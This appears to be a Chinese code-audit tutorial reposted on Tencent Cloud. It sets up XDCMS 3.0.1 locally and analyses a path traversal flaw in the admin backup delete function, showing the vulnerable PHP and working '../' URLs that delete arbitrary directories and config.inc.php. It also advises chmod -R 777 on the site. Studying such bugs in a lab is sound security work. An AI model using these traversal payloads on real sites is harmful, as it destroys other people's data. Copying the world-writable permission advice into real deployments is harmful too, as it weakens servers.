
本地环境 Apache/2.4.46 (Unix) PHP/7.2.34

开始安装报错

eregi_replace函数没有定义
php7环境下无法使用eregi_replace函数 需要用preg_replace函数来替换
这里我的办法是修改本地环境为php5 windows上用phpstudy可以直接修改php环境 在linux或者mac电脑上需要修改apache配置文件,然后重启apache /usr/local/etc/httpd/httpd.conf
# LoadModule php7_module /usr/local/Cellar/php@7.2/7.2.34_1/lib/httpd/modules/libphp7.so
LoadModule php5_module /usr/local/Cellar/php@5.6/5.6.40/lib/httpd/modules/libphp5.so
保存退出sudo apachectl restart 重启apache



chmod -R 777 xdcms
修改目录权限即可

配置数据库以及后台密码

添加文件上传格式限制即可
$ sudo chown www asd.php
$ ls -al
total 0
drwxr-xr-x   3 asura  staff   96  4 19 21:56 .
drwxrwxrwx  12 asura  staff  384  4 19 21:21 ..
-rwxrwxrwx@  1 _www   staff    0  4 19 21:56 asd.php/usr/local/var/www/xdcms/system/modules/xdcms/data.php
public function delete(){
  $file = trim($_GET["file"]);
  # trim 一下 移除 字符串两侧的空白字符 \n \0 \t \x0B \r  
  $dir = DATA_PATH . 'backup/' . $file;
  if(is_dir($dir)){
    //删除文件夹中的文件
    if (false != ($handle = opendir ( $dir ))) {
      # 目录 句柄
      while ( false !== ($file = readdir ( $handle )) ) {
        # 读取 目录 下的 文件 
        if ($file != "." && $file != ".." && strpos($file,".")){
          # 文件 不是 . 也不是 ..  并且 文件也有 后缀  也有 .
          echo $dir . "/" . $file;
          echo system("whoami");
          unlink($dir."/".$file);
          // @unlink($dir."/".$file);
        }
      }
      closedir($handle);
    }
    @rmdir($dir);//删除目录
  }
  showmsg(C('success'),'-1');
}/index.php?m=xdcms&c=data&f=delete&file=../../../

http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../qwe

qwe目录及下面的文件asd.php被删除

http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../data1

删除了data1目录下的config.inc.php
参考
新手入门代码审计(1)--xdcms-3.0.1
xdcms_3.0.1 | 代码审计
https://www.seebug.org/vuldb/ssvid-88734
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。